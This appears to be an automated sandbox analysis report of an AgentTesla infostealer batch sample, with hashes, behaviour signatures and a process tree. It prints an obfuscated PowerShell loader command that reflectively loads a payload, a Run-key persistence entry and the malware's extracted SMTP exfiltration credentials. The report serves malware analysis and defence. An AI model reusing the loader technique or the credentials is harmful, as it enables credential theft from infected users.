Analysis
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max time kernel
143s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20231127-en -
resource tags
arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system -
submitted
01-12-2023 17:55
Static task
static1
Behavioral task
behavioral1
Sample
8e065b09f518cdc94ede24c50ab9cb712ff54147b089e4267965462a851276c1.bat
Resource
win7-20231023-en
Behavioral task
behavioral2
Sample
8e065b09f518cdc94ede24c50ab9cb712ff54147b089e4267965462a851276c1.bat
Resource
win10v2004-20231127-en
General
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Target
8e065b09f518cdc94ede24c50ab9cb712ff54147b089e4267965462a851276c1.bat
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Size
1009KB
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MD5
8e16ec48c40bfd51e6305c1b2f4e9fa8
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SHA1
24991017d3088f6fc943e11df888591aa34e3055
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SHA256
8e065b09f518cdc94ede24c50ab9cb712ff54147b089e4267965462a851276c1
-
SHA512
7bbad34c6a6f4d5e8316771ffbad11010d8527f3a713b53f115dfa98d2a7bbc6f4596503a3ada325cebe41d472d7e930311e3734f4f24fec8eb90170b2485eba
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SSDEEP
24576:W39YCqk2eQc9YQqzQ2ZBLjXyRnMIT98ZsXBHbrQ:Nrk9OtZdzKnMLZ8ZQ
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.cyber.net.pk - Port:
587 - Username:
[email protected] - Password:
Zain2357@ - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Executes dropped EXE 1 IoCs
Processes:
Qzernyi.pngpid process 812 Qzernyi.png -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
Qzernyi.pngdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2037190880-819243489-950462038-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\My App = "C:\\Users\\Admin\\AppData\\Roaming\\My App\\My App.exe" Qzernyi.png -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 30 api.ipify.org 31 api.ipify.org -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 4088 812 WerFault.exe Qzernyi.png -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
Qzernyi.pngpid process 812 Qzernyi.png 812 Qzernyi.png 812 Qzernyi.png 812 Qzernyi.png -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
Qzernyi.pngdescription pid process Token: SeDebugPrivilege 812 Qzernyi.png Token: SeDebugPrivilege 812 Qzernyi.png -
Suspicious use of WriteProcessMemory 17 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 3672 wrote to memory of 4408 3672 cmd.exe cmd.exe PID 3672 wrote to memory of 4408 3672 cmd.exe cmd.exe PID 3672 wrote to memory of 3472 3672 cmd.exe xcopy.exe PID 3672 wrote to memory of 3472 3672 cmd.exe xcopy.exe PID 3672 wrote to memory of 4660 3672 cmd.exe cmd.exe PID 3672 wrote to memory of 4660 3672 cmd.exe cmd.exe PID 4660 wrote to memory of 4644 4660 cmd.exe cmd.exe PID 4660 wrote to memory of 4644 4660 cmd.exe cmd.exe PID 4660 wrote to memory of 4764 4660 cmd.exe xcopy.exe PID 4660 wrote to memory of 4764 4660 cmd.exe xcopy.exe PID 4660 wrote to memory of 3172 4660 cmd.exe cmd.exe PID 4660 wrote to memory of 3172 4660 cmd.exe cmd.exe PID 4660 wrote to memory of 4804 4660 cmd.exe xcopy.exe PID 4660 wrote to memory of 4804 4660 cmd.exe xcopy.exe PID 4660 wrote to memory of 812 4660 cmd.exe Qzernyi.png PID 4660 wrote to memory of 812 4660 cmd.exe Qzernyi.png PID 4660 wrote to memory of 812 4660 cmd.exe Qzernyi.png
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\8e065b09f518cdc94ede24c50ab9cb712ff54147b089e4267965462a851276c1.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3672 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵PID:4408
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qzernyi.png2⤵PID:3472
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\8e065b09f518cdc94ede24c50ab9cb712ff54147b089e4267965462a851276c1.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4660 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:4644
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qzernyi.png3⤵PID:4764
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\8e065b09f518cdc94ede24c50ab9cb712ff54147b089e4267965462a851276c1.bat C:\Users\Admin\AppData\Local\Temp\Qzernyi.png.bat3⤵PID:4804
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:3172
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C:\Users\Admin\AppData\Local\Temp\Qzernyi.pngC:\Users\Admin\AppData\Local\Temp\Qzernyi.png -win 1 -enc JABUAHYAdwBuAGMAagBpAGIAYQBwAGQAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQATwBnAGsAbABmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFQAdgB3AG4AYwBqAGkAYgBhAHAAZAApADsAJABKAG0AagBiAG0AbABiAHkAcABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABPAGcAawBsAGYAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAVABpAG0AYgBnAGkAbgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABKAG0AagBiAG0AbABiAHkAcABlACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABUAGkAbQBiAGcAaQBuAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABUAGkAbQBiAGcAaQBuAC4AQwBsAG8AcwBlACgAKQA7ACQASgBtAGoAYgBtAGwAYgB5AHAAZQAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAE8AZwBrAGwAZgAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABPAGcAawBsAGYAKQA7ACAAJABYAHYAaQB2AHUAeQBsACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAE8AZwBrAGwAZgApADsAIAAkAEkAbgBrAGwAaQBoACAAPQAgACQAWAB2AGkAdgB1AHkAbAAuAEcAZQB0AEUAeABwAG8AcgB0AGUAZABUAHkAcABlAHMAKAApAFsAMABdADsAIAAkAFYAcAB4AG8AeABvAHoAcAAgAD0AIAAkAEkAbgBrAGwAaQBoAC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:812 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 812 -s 31804⤵
- Program crash
PID:4088
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 812 -ip 8121⤵PID:4484
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
1009KB
MD58e16ec48c40bfd51e6305c1b2f4e9fa8
SHA124991017d3088f6fc943e11df888591aa34e3055
SHA2568e065b09f518cdc94ede24c50ab9cb712ff54147b089e4267965462a851276c1
SHA5127bbad34c6a6f4d5e8316771ffbad11010d8527f3a713b53f115dfa98d2a7bbc6f4596503a3ada325cebe41d472d7e930311e3734f4f24fec8eb90170b2485eba
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82